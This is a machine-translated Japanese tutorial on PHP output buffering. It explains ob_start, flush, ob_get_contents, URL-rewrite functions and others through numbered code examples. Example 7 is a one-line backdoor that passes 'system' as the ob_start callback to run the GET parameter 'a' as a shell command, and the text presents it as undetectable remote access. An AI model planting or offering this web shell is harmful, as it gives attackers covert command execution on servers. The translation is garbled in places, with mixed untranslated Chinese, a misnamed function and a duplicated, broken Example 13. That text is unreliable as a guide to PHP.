<p></p>
<h2>PHP 出力バッファ制御 - 出力制御関数アプリケーション、outputcontrol の詳細説明</h2>
<p> 出力バッファリングに関して、最初に話すべきことはバッファと呼ばれるものです。その役割を説明するための簡単な例を示します。ドキュメントを編集するとき、システムは保存する前にディスクに書き込みませんが、バッファがいっぱいになるか保存操作が実行されると、バッファに書き込みます。データはディスクに書き込まれます。 PHP の場合、エコーなどのすべての出力操作も最初に php バッファーに書き込まれ、スクリプトが実行されるか、強制出力キャッシュ操作が実行されるまで、データはブラウザーに表示されません。 </p>
<p>実際、PHP プログラマの場合、基本的にすべてのスクリプトには出力バッファリングが含まれますが、ほとんどの場合、出力バッファリングを変更する必要はありません。今回は例を使って、PHPの出力バッファ制御機能「Output Control」を詳しく分析してみましょう。 </p>
<p> 次の例では、一般的なスクリプトで出力バッファリングがどのように存在するかを簡単に紹介します。
</p> 次のスクリプトを実行すると: <p>
</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
1
2
3
4
5
6
<td class="gutter">
</td>
<td class="code">
<code class="php plain"><?php</code>
<code class="php comments">/*例1*/</code>
<code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code>
<code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code>
<code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code>
<code class="php plain">?></code>
</td>
</tr>
</tbody>
</table> スクリプトが最初のエコーの実行を完了すると、対応するコンテンツはブラウザーに出力されず、バッファーに出力されます。以降、3 つのエコーがすべて実行される (つまり、スクリプトが終了する) と、スクリプトは実行されます。バッファの内容全体をブラウザに出力します。もちろん、このバッファにはサイズ制限もあり、php.ini の <p><em><code>output_buffering</code> オプションに従って設定されます。これについては、次の記事で詳しく説明します。この章で説明する出力バッファ制御は、スクリプトの終了前にバッファ内のコンテンツを操作することです。 </em>
</p> この例は、出力バッファ制御のアプリケーションをより適切に反映できます: <p>
</p> 次のコードを実行する場合: <p>
</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
1
2
3
4
5
6
7
8
<td class="gutter">
</td>
<td class="code">
<code class="php plain"><?php</code>
<code class="php comments">/*例2*/</code>
<code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code>
<code class="php plain">sleep(1);</code>
<code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code>
<code class="php plain">sleep(1);</code>
<code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code>
<code class="php plain">?></code>
</td>
</tr>
</tbody>
<p> 出力結果を見るには最低2秒待つ必要があるので、リアルタイムに表示できるでしょうか?つまり、最初のエコーが実行されると、対応するコンテンツが出力されます。このとき、出力バッファー制御関数を使用してバッファーを操作する必要があります。 </p> 実装コードは次のとおりです。
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</td>
<td class="code">
<code class="php plain"><?php</code>
<code class="php comments">/*例3*/</code>
<code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code>
<code class="php plain">ob_start();</code><code class="php comments">//打开缓冲区</code>
<code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code>
<code class="php plain">ob_flush();</code><code class="php comments">//送出当前缓冲内容,不会输出</code>
<code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code>
<code class="php plain">sleep(1);</code>
<code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code>
<code class="php plain">ob_flush();</code><code class="php comments">//送出当前缓冲内容,不会输出</code>
<code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code>
<code class="php plain">sleep(1);</code>
<code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code>
<code class="php plain">ob_end_flush();</code><code class="php comments">//输出并关闭缓冲</code>
<code class="php plain">?></code>
</td>
</tr>
</tbody>
</table>
<p> 次のように簡単に実装することもできます: </p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
1
2
3
4
5
6
7
8
9
10
11
</td>
<td class="code">
<code class="php plain"><?php</code>
<code class="php comments">/*例4*/</code>
<code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code>
<code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code>
<code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code>
<code class="php plain">sleep(1);</code>
<code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code>
<code class="php functions">flush</code><code class="php plain">();</code><code class="php comments">//输出送出的缓冲内容</code>
<code class="php plain">sleep(1);</code>
<code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code>
<code class="php plain">?></code>
</td>
</tr>
</tbody>
</table>
<p> 関連する関数の使用法については、以下で紹介します。ここでは、出力バッファー制御関数の応用例を示します。もちろん、出力バッファー制御関数には複数の役割があります。出力バッファ制御機能はどのような分野に適用できますか? </p>
<h3>機能</h3>
<h3>php.iniの関連設定項目</h3>
<p> php.ini の出力バッファリング制御に関連するオプションを見てみましょう。 <em><code>output_buffering</code><code>output_buffering</code></em> ,<em><code>output_handler</code></em> 和 <em><code>implicit_flush</code> 、 </em><code>output_handler</code></p> 、 <h3> という合計 3 つのオプションがあります。 <code> implicit_flush</code>
</h3>
<p>
</p>アウトプットコントロール機能詳細説明<p>
<strong>次に、例を使用して関連する関数を分析します。以下の内容を十分に理解した後、出力バッファ制御関数をより明確に理解できると思います。 </strong>
</p>
<p> 1. bool ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody> この関数は例 3 で使用されています。名前からもその意味がわかりますが、出力バッファ処理の次のステップのために出力バッファをオープンするということです。ここで言及したいのは、そのパラメーターの使用法です。最初のパラメーターはコールバック関数を渡す必要があり、この関数はバッファーの内容をパラメーターとして受け取り、文字列を返す必要があります。バッファの送信とは、ob_flush() などの関数の実行またはスクリプトの実行の完了を指します。 ob_flush() 関数を以下に紹介します。簡単な例を見ることでその使用法を理解できます。
<tr>
<td class="gutter">
</td>
<td class="code">
1
2
3
4
5
6
7
8
9
<code class="php plain"><?php</code>
<code class="php comments">/*例5*/</code>
<code class="php plain">ob_start(</code><code class="php string">'handleString'</code><code class="php plain">);</code>
<code class="php functions">echo</code> <code class="php string">'123456'</code><code class="php plain">;</code>
<code class="php spaces"> </code>
<code class="php keyword">function</code> <code class="php plain">handleString(</code><code class="php variable">$string</code><code class="php plain">){</code>
<code class="php spaces"> </code><code class="php keyword">return</code> <code class="php plain">md5(</code><code class="php variable">$string</code><code class="php plain">);</code>
<code class="php plain">}</code>
<code class="php plain">?></code>
</td>
</tr>
</tbody>
</table>
<p>
</p>
<table border="0" cellspacing="0" cellpadding="0"> 実行後の結果は次のとおりです: <tbody>
<tr>
<td class="gutter">
</td>
<td class="code">
1
<code class="php plain">e10adc3949ba59abbe56e057f20f883e</code>
</td>
</tr>
</tbody>
</table>
<p>
</p>
<p> これは、出力コンテンツが md5 暗号化されることを意味します。これは、バッファーのコンテンツが出力されるときに、定義した handleString 関数が実行されることを意味します。 </p>
<table border="0" cellspacing="0" cellpadding="0"> より実践的な例を見てみましょう。これは、gzip を使用して Web コンテンツを圧縮して出力する一般的な方法です。コードは次のとおりです。
<tbody>
<tr>
<td class="gutter">
</td>
1
2
3
4
5
<td class="code">
<code class="php plain"><?php</code>
<code class="php comments">/*例6*/</code>
<code class="php plain">ob_start(</code><code class="php string">'ob_gzhandler'</code><code class="php plain">);</code>
<code class="php functions">echo</code> <code class="php functions">str_repeat</code><code class="php plain">(</code><code class="php string">'oschina'</code><code class="php plain">, 1024);</code>
<code class="php plain">?></code>
</td>
</tr>
</tbody>
</table>
🎜<p> ページサイズは: </p>
<p><img src="http://www.bkjia.com/uploads/allimg/141204/163JS9E-0.PNG" alt=""></p>
<p> ob_gzhandler パラメーターを使用しない場合、ページ サイズは次のようになります: </p>
<p><img src="http://www.bkjia.com/uploads/allimg/141204/163JQ555-1.PNG" alt=""></p>
<p> サイズの違いがはっきりとわかるので、ページ圧縮出力に ob_start() を使うのは非常に実用的な関数です。 </p>
<p> 2 番目のパラメータ <em><code>chunk_size</code><code> chunk_size</code></em> 为缓冲区的字节长度,如果缓冲区内容大于此长度,将会被送出缓冲区,默认值为0,代表函数将会在最后被调用。第三个参数 <em><code>erase</code> は、バッファのバイト長です。バッファの内容がこの長さより大きい場合、デフォルト値は 0 です。最後に関数が呼び出されます。 3 番目のパラメータ </em><code>erase</code></p> が flase に設定されている場合、事前にバッファ削除関数 (後述) が実行されていれば、バッファは削除されないことを意味します。エラーを報告してください。 <p>
</p> ob_start() の使用法は非常にたくさんありますが、特別な注意が必要な点が 2 つあります: <table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
</td>
1
2
3
4
<td class="code">
<code class="php plain"><?php</code>
<code class="php comments">/*例7*/</code>
<code class="php variable">$cmd</code> <code class="php plain">= </code><code class="php string">'system'</code><code class="php plain">;ob_start(</code><code class="php variable">$cmd</code><code class="php plain">);</code><code class="php functions">echo</code> <code class="php string">"$_GET[a]"</code><code class="php plain">;ob_end_flush();</code>
<code class="php plain">?></code>
</td>
</tr>
</tbody>
</table>
<p>
</p> 上記のob_startの使い方を理解していれば、このコードはob_start関数を使ってバッファ出力の内容をパラメータとしてset関数に渡し、Webサーバー権限でのリモートアクセスを実現しています。検出されずに。 <p>
<strong></strong> 2. string ob_get_contents (void)</p>
<p>
</p> この関数は、この時点でバッファーの内容を取得するために使用されます。次の例は、その使用法をよりよく理解することができます。
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
1
2
3
4
5
6
7
8
9
10
11
</td>
<td class="code">
<code class="php plain"><?php</code>
<code class="php comments">/*例8*/</code>
<code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code>
<code class="php plain">ob_start();</code><code class="php comments">//打开缓冲区</code>
<code class="php plain">phpinfo();</code>
<code class="php variable">$string</code> <code class="php plain">= ob_get_contents();</code><code class="php comments">//获取缓冲区内容</code>
<code class="php variable">$re</code> <code class="php plain">= </code><code class="php functions">fopen</code><code class="php plain">(</code><code class="php string">'./phpinfo.txt'</code><code class="php plain">, </code><code class="php string">'wb'</code><code class="php plain">);</code>
<code class="php plain">fwrite(</code><code class="php variable">$re</code><code class="php plain">, </code><code class="php variable">$string</code><code class="php plain">);</code><code class="php comments">//将内容写入文件</code>
<code class="php plain">fclose(</code><code class="php variable">$re</code><code class="php plain">);</code>
<code class="php plain">ob_end_clean();</code><code class="php comments">//清空并关闭缓冲区</code>
<code class="php plain">?></code>
</td>
</tr>
</tbody>
</table>
<p> この例を実行すると、ブラウザは出力を生成しないことがわかりますが、現在のディレクトリに phpinfo.txt ファイルが存在し、今回は期待される出力が保存されます。この例は、上記の 3 番目の点で述べた状況も示しています。出力内容を取得し、実際の状況に応じて処理できます。 </p>
<p><strong> 3. int ob_get_length (void)</strong></p>
<p> この関数は、バッファーの内容の長さを取得するために使用されます。例 8 は、この関数の使用法を示すために少し変更されています。
</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
1
2
3
4
5
6
7
8
9
10
11
12
13
<td class="gutter">
</td>
<td class="code">
<code class="php plain"><?php</code>
<code class="php comments">/*例9*/</code>
<code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code>
<code class="php plain">ob_start();</code><code class="php comments">//打开缓冲区</code>
<code class="php plain">phpinfo();</code>
<code class="php variable">$string</code> <code class="php plain">= ob_get_contents();</code><code class="php comments">//获取缓冲区内容</code>
<code class="php variable">$length</code> <code class="php plain">= ob_get_length();</code><code class="php comments">//获取缓冲区内容长度</code>
<code class="php variable">$re</code> <code class="php plain">= </code><code class="php functions">fopen</code><code class="php plain">(</code><code class="php string">'./phpinfo.txt'</code><code class="php plain">, </code><code class="php string">'wb'</code><code class="php plain">);</code>
<code class="php plain">fwrite(</code><code class="php variable">$re</code><code class="php plain">, </code><code class="php variable">$string</code><code class="php plain">);</code><code class="php comments">//将内容写入文件</code>
<code class="php plain">fclose(</code><code class="php variable">$re</code><code class="php plain">);</code>
<code class="php plain">var_dump(</code><code class="php variable">$length</code><code class="php plain">); </code><code class="php comments">//输出长度</code>
<code class="php plain">ob_end_flush();</code><code class="php comments">//输出并关闭缓冲区</code>
<code class="php plain">?></code>
</td>
</tr>
</tbody>
</table>
<p> 4. int ob_get_level (void)<strong></strong>
</p> この関数はバッファメカニズムのネストレベルを取得するために使用されます。 ob_start() 関数を導入したときに、スクリプト内で複数のバッファをネストできると言いましたが、この関数は現在のバッファレベルのネストを取得するものです。 、使用方法は次のとおりです: <p>
</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
1
2
3
4
5
6
7
8
9
<td class="gutter">
</td>
<td class="code">
<code class="php plain"><?php</code>
<code class="php comments">/*例10*/</code>
<code class="php plain">ob_start();</code>
<code class="php plain">var_dump(ob_get_level());</code>
<code class="php plain">ob_start();</code>
<code class="php plain">var_dump(ob_get_level());</code>
<code class="php plain">ob_end_flush();</code>
<code class="php plain">ob_end_flush();</code>
<code class="php plain">?></code>
</td>
</tr>
</tbody>
</table> 走った後、彼らの巣作りの関係がはっきりとわかります。 <p>
</p>
<p> 5. array ob_get_status ([ bool $full_status = FALSE ] )<strong></strong>
</p> この関数は現在のバッファのステータスを取得し、ステータス情報の配列を返すために使用されます。最初のパラメータが true の場合、この配列を例で分析してみましょう。
<p>
</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
1
2
3
4
5
6
7
8
9
<tr>
<td class="gutter">
</td>
<td class="code">
<code class="php plain"><?php</code>
<code class="php comments">/*例11*/</code>
<code class="php plain">ob_start(‘ob_gzhandler’);</code>
<code class="php plain">var_export(ob_get_status());</code>
<code class="php plain">ob_start();</code>
<code class="php plain">var_export(ob_get_status());</code>
<code class="php plain">ob_end_flush();</code>
<code class="php plain">ob_end_flush();</code>
<code class="php plain">?></code>
</td>
</tr>
<p> このスクリプトの出力は次のとおりです: </p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
</td>
<td class="code">
<code class="php keyword">array</code> <code class="php plain">(</code>
<code class="php spaces"> </code><code class="php string">'level'</code> <code class="php plain">=> 1,</code>
<code class="php spaces"> </code><code class="php string">'type'</code> <code class="php plain">=> 1,</code>
<code class="php spaces"> </code><code class="php string">'status'</code> <code class="php plain">=> 0,</code>
<code class="php spaces"> </code><code class="php string">'name'</code> <code class="php plain">=> </code><code class="php string">'ob_gzhandler'</code><code class="php plain">,</code>
<code class="php spaces"> </code><code class="php string">'del'</code> <code class="php plain">=> true,</code>
<code class="php plain">)</code>
<code class="php spaces"> </code>
<code class="php keyword">array</code> <code class="php plain">(</code>
<code class="php spaces"> </code><code class="php string">'level'</code> <code class="php plain">=> 2,</code>
<code class="php spaces"> </code><code class="php string">'type'</code> <code class="php plain">=> 1,</code>
<code class="php spaces"> </code><code class="php string">'status'</code> <code class="php plain">=> 0,</code>
<code class="php spaces"> </code><code class="php string">'name'</code> <code class="php plain">=> </code><code class="php string">'default output handler'</code><code class="php plain">,</code>
<code class="php spaces"> </code><code class="php string">'del'</code> <code class="php plain">=> true,</code>
<code class="php plain">)</code>
</td>
</tr>
</tbody>
</table>
<p> Levelはネストレベルで、ob_get_level()で取得した値と同じです。 </p>
<p> typeは処理バッファのタイプで、0はシステム内での自動処理、1はユーザーによる手動処理を意味します。 </p>
<p>ステータスはバッファ処理のステータスで、0は開始、1は進行中、2は終了です</p>
<p> Nameは定義された出力処理関数の名前で、ob_start()関数の最初のパラメータとして渡される関数名です。 </p>
<p> delはバッファ削除操作が実行されたかどうかを示します</p>
<p> 上記の配列の意味を理解すると、バッファのさまざまなプロパティをよりよく理解できるようになります。 </p>
<p><strong> 6. array ob_list_handlers (void)</strong></p>
<p> この関数は、ob_start() 関数で指定する最初のパラメーターである出力ハンドラーの関数名の配列を取得するために使用されます。渡すパラメーターが匿名関数である場合、または設定ファイル内であることに注意してください。 <em><code>output_buffering</code></em> が有効な場合、関数はデフォルトの出力ハンドラーを返します。公式 PHP マニュアルの例では、この関数についてよく説明されています。
</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<td class="gutter">
</td>
<td class="code">
<code class="php plain"><?php</code>
<code class="php comments">/*例12*/</code>
<code class="php comments">//using output_buffering=On</code>
<code class="php plain">print_r(ob_list_handlers());</code>
<code class="php plain">ob_end_flush();</code>
<code class="php spaces"> </code>
<code class="php plain">ob_start(</code><code class="php string">"ob_gzhandler"</code><code class="php plain">);</code>
<code class="php plain">print_r(ob_list_handlers());</code>
<code class="php plain">ob_end_flush();</code>
<code class="php spaces"> </code>
<code class="php comments">// anonymous functions</code>
<code class="php plain">ob_start(create_function(</code><code class="php string">'$string'</code><code class="php plain">, </code><code class="php string">'return $string;'</code><code class="php plain">));</code>
<code class="php plain">print_r(ob_list_handlers());</code>
<code class="php plain">ob_end_flush();</code>
<code class="php plain">?></code>
</td>
</tr>
</tbody>
<p> 出力結果は次のとおりです: </p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
1
2
3
4
5
6
7
8
9
10
11
12
13
14
</td>
<td class="code">
<code class="php plain">Array</code>
<code class="php plain">(</code>
<code class="php spaces"> </code><code class="php plain">[0] => </code><code class="php string">'default output handler'</code>
<code class="php plain">)</code>
<code class="php spaces"> </code>
<code class="php plain">Array</code>
<code class="php plain">(</code>
<code class="php spaces"> </code><code class="php plain">[0] => </code><code class="php string">'ob_gzhandler'</code>
<code class="php plain">)</code>
<code class="php spaces"> </code>
<code class="php plain">Array</code>
<code class="php plain">(</code>
<code class="php spaces"> </code><code class="php plain">[0] => </code><code class="php string">'default output handler'</code>
<code class="php plain">)</code>
</td>
</tr>
</tbody>
</table>
<p> バッファーの内容の出力、クローズ、送信に関連する関数を見てみましょう: </p>
<p><strong> 7. void ob_flush (void)</strong></p>
<p> この関数は、前の例でよく使用されます。その機能は、現在のバッファーの内容を「送信」すると同時にバッファーをクリアすることです。ここで「送信」という言葉が使用されているのは、これを呼び出すことを意味します。関数はバッファを送信しません。領域の内容は出力されます。例 3 から、出力する前に後でフラッシュ関数を呼び出す必要があることがわかります。フラッシュの使用法については後で説明しますが、ここでは例は示しません。 </p>
<p><strong> 8.ボイドフラッシュ(void)</strong></p>
<p> この関数は比較的一般的に使用されており、以前の出力をすべてブラウザに送信して表示するために使用され、キャッシュ領域には影響を与えません。この関数は例 3 と例 4 の両方で、現在の出力をブラウザに表示するために使用されます。言い換えれば、それが echo、HTML エンティティ、または flash( の実行後に ob_start() を実行することによって送信されたコンテンツなどの関数の出力であるかどうか)。 )がブラウザに表示されます。 </p>
<p><strong> 9. void ob_implicit_flush ([ int $flag = true ] )</strong></p>
<p> この関数は、絶対フラッシュ モードをオン/オフするために使用されます。このモードは、各出力後に自動的にフラッシュ()を実行するため、効率を向上させるために明示的にフラッシュ()を呼び出す必要はありません。例 4 を少し変更し、この関数を使用して同じ効果を実現します。 </p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
1
2
3
4
5
6
7
8
9
10
11
12
</td>
<td class="code">
<code class="php plain"><?php</code>
<code class="php comments">/*例13*/</code>
<code class="php function">echo</code> <code class="php function">str_pad</code><code class="php functions">echo</code> <code class="php functions">str_pad</code><code class="php plain">(</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">//使缓冲区溢出</code><code class="php string">''</code><code class="php plain">, 1024);</code><code class="php comments">// バッファがオーバーフローする</code>
<code class="php plain">ob_implicit_flush(true);</code><code class="php comments">//打开绝对刷送</code>
<code class="php functions">echo</code> <code class="php string">'oschina.net'</code><code class="php plain">;</code>
<code class="php comments">//flush(); 之后不需要再显示的调用 flush()</code>
<code class="php plain">sleep(1);</code>
<code class="php functions">echo</code> <code class="php string">'红薯'</code><code class="php plain">;</code>
<code class="php comments">//flush();</code>
<code class="php plain">sleep(1);</code>
<code class="php functions">echo</code> <code class="php string">'虫虫'</code><code class="php plain">;</code>
<code class="php plain">?></code>
</td>
</tr>
</tbody>
</table>
<p> この例は例 4 と同じ効果を実現します。絶対フラッシュがオンになっているため、システムは出力後にフラッシュ()を呼び出す必要はありません。 </p>
<p><strong> 10. bool ob_end_flush (void)</strong></p>
<p> この関数はバッファの内容を送信し、バッファを閉じます。実際には、ob_flush() および ob_end_clean() を実行するのと同じです ;</p>
<p><strong> 11. string ob_get_flush (void)</strong></p>
<p> この関数は基本的に ob_end_flush() と同じ効果がありますが、バッファの内容を文字列の形式で返す点が異なります。非常に単純なので例としては使用しません。 </p>
<p><strong> 12. void ob_clean (void)</strong></p>
<p> この関数は現在のバッファをクリアしますが、バッファを閉じません。次の例の出力は、出力前にバッファがクリアされているため表示されませんが、バッファのプロパティを取得できることを示します。まだ閉店していません: </p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
<td class="gutter">
1
2
3
4
5
6
7
</td>
<td class="code">
<code class="php plain"><?php</code>
<code class="php comments">/*例14*/</code>
<code class="php plain">ob_start();</code>
<code class="php functions">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code>
<code class="php plain">ob_clean();</code>
<code class="php plain">var_dump(ob_get_status());</code>
<code class="php plain">?></code>
</td>
</tr>
</tbody>
</table>
<p><strong> 13. bool ob_end_clean (void)</strong></p>
<p> この関数はバッファをクリアして閉じます。例 14 を少し変更すると、バッファが閉じられているため、バッファのステータスを取得できなくなることがわかります。
</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
1
2
3
4
5
6
7
<td class="gutter">
</td>
<td class="code">
<code class="php plain"><?php</code>
<code class="php comments">/*例15*/</code>
<code class="php plain">ob_start();</code>
<code class="php functions">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code>
<code class="php plain">ob_end_clean();</code>
<code class="php plain">var_dump(ob_get_status());</code>
<code class="php plain">?></code>
</td>
</tr>
</tbody>
</table>
<p> 14. string ob_get_clean (void)<strong></strong>
</p> この関数はキャッシュをクリアして閉じますが、実際には、この関数はそれぞれ ob_get_contents() と ob_end_clean() を実行して、キャッシュ内のデータを文字列の形式で返します。
<p>
</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
1
2
3
4
5
6
7
8
<tr>
<td class="gutter">
</td>
<td class="code">
<code class="php plain"><?php</code>
<code class="php comments">/*例16*/</code>
<code class="php plain">ob_start();</code>
<code class="php functions">echo</code> <code class="php string">'oschina'</code><code class="php plain">;</code>
<code class="php variable">$string</code> <code class="php plain">= ob_get_clean();</code>
<code class="php plain">var_dump(ob_get_status());</code>
<code class="php plain">var_dump(</code><code class="php variable">$string</code><code class="php plain">);</code>
<code class="php plain">?></code>
</td>
</tr>
<p>最後に、URL 書き換えに関連する 2 つの関数を見てみましょう: </p>
<p><strong> 15. bool Output_add_rewrite_var (string $name, string $value)</strong></p>
<p> この関数は、URL 書き換えメカニズムのキーと値を追加します。ここでの URL 書き換えメカニズムとは、GET モードで URL の末尾にキーと値のペアを追加すること、または、キーと値のペアを非表示形式で追加することを指します。形状。絶対 URL は追加されません。マニュアルの例を使用してみましょう。非常に直感的で明確です。
</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<td class="gutter">
</td>
<td class="code">
<code class="php plain"><?php</code>
<code class="php comments">/*例17*/</code>
<code class="php plain">output_add_rewrite_var(</code><code class="php string">'var'</code><code class="php plain">, </code><code class="php string">'value'</code><code class="php plain">);</code>
<code class="php spaces"> </code>
<code class="php comments">// some links</code>
<code class="php functions">echo</code> <code class="php plain">'<a href=</code><code class="php string">"file.php"</code><code class="php plain">>link</a></code>
<code class="php plain"><a href=</code><code class="php string">"http://example.com"</code><code class="php plain">>link2</a>';</code>
<code class="php spaces"> </code>
<code class="php comments">// a form</code>
<code class="php functions">echo</code> <code class="php plain">'<form action=</code><code class="php string">"script.php"</code> <code class="php plain">method=</code><code class="php string">"post"</code><code class="php plain">></code>
<code class="php plain"><input type=</code><code class="php string">"text"</code> <code class="php plain">name=</code><code class="php string">"var2"</code> <code class="php plain">/></code>
<code class="php plain"></form>';</code>
<code class="php spaces"> </code>
<code class="php plain">print_r(ob_list_handlers());</code>
<code class="php plain">?></code>
</td>
</tr>
</tbody>
</table>プログラムの出力は次のとおりです: <p>
</p>
<table border="0" cellspacing="0" cellpadding="0">
<tbody>
<tr>
1
2
3
4
5
6
7
8
9
10
11
12
<td class="gutter">
</td>
<td class="code">
<code class="html plain"><</code><code class="html keyword">a</code> <code class="html color1">href</code><code class="html plain">=</code><code class="html string">"file.php?var=value"</code><code class="html plain">>link</</code><code class="html keyword">a</code><code class="html plain">></code>
<code class="html plain"><</code><code class="html keyword">a</code> <code class="html color1">href</code><code class="html plain">=</code><code class="html string">"http://example.com"</code><code class="html plain">>link2</</code><code class="html keyword">a</code><code class="html plain">></code>
<code class="html spaces"> </code>
<code class="html plain"><</code><code class="html keyword">form</code> <code class="html color1">action</code><code class="html plain">=</code><code class="html string">"script.php"</code> <code class="html color1">method</code><code class="html plain">=</code><code class="html string">"post"</code><code class="html plain">></code>
<code class="html plain"><</code><code class="html keyword">input</code> <code class="html color1">type</code><code class="html plain">=</code><code class="html string">"hidden"</code> <code class="html color1">name</code><code class="html plain">=</code><code class="html string">"var"</code> <code class="html color1">value</code><code class="html plain">=</code><code class="html string">"value"</code> <code class="html plain">/></code>
<code class="html plain"><</code><code class="html keyword">input</code> <code class="html color1">type</code><code class="html plain">=</code><code class="html string">"text"</code> <code class="html color1">name</code><code class="html plain">=</code><code class="html string">"var2"</code> <code class="html plain">/></code>
<code class="html plain"></</code><code class="html keyword">form</code><code class="html plain">></code>
<code class="html spaces"> </code>
<code class="html plain">Array</code>
<code class="html plain">(</code>
<code class="html spaces"> </code><code class="html plain">[0] => URL-Rewriter</code>
<code class="html plain">)</code>
</td>
</tr>
</tbody>
<p> 絶対URLアドレスではないリンクやフォームが、対応するキーと値のペアで追加されていることがわかります。 </p>
<p><strong> 16. bool Output_reset_rewrite_vars (void)</strong></p>
<p> この関数は、すべての URL 書き換えメカニズムをクリアする、つまり、output_add_rewrite_var() によって設定された書き換え変数を削除するために使用されます。 </p>
<h3>その他注意事項</h3>
<p> 上記の内容を読むと、PHP のバッファ制御機能についてより深く理解できるようになると思います。日常的に使用する際に注意する必要があるいくつかの問題について説明します。
</p>
<p align="left"></p>
<div style="display:none;">http://www.bkjia.com/PHPjc/921717.html<span id="url" itemprop="url"></span>www.bkjia.com<span id="indexUrl" itemprop="indexUrl"></span>true<span id="isOriginal" itemprop="isOriginal"></span>http://www.bkjia.com/PHPjc/921717.html<span id="isBasedOnUrl" itemprop="isBasedOnUrl"></span>技術記事<span id="genre" itemprop="genre"></span> PHP 出力バッファ制御 - 出力制御関数アプリケーション、outputcontrol の詳細説明 出力バッファリングというと、最初に話題になるのはバッファと呼ばれるものです。彼を説明する簡単な例を挙げてください...<span id="description" itemprop="description"></span>
</div>
<div class="art_confoot"></div>
</table>
</tbody>
</table>
</table>
</tbody>
</table>
</table>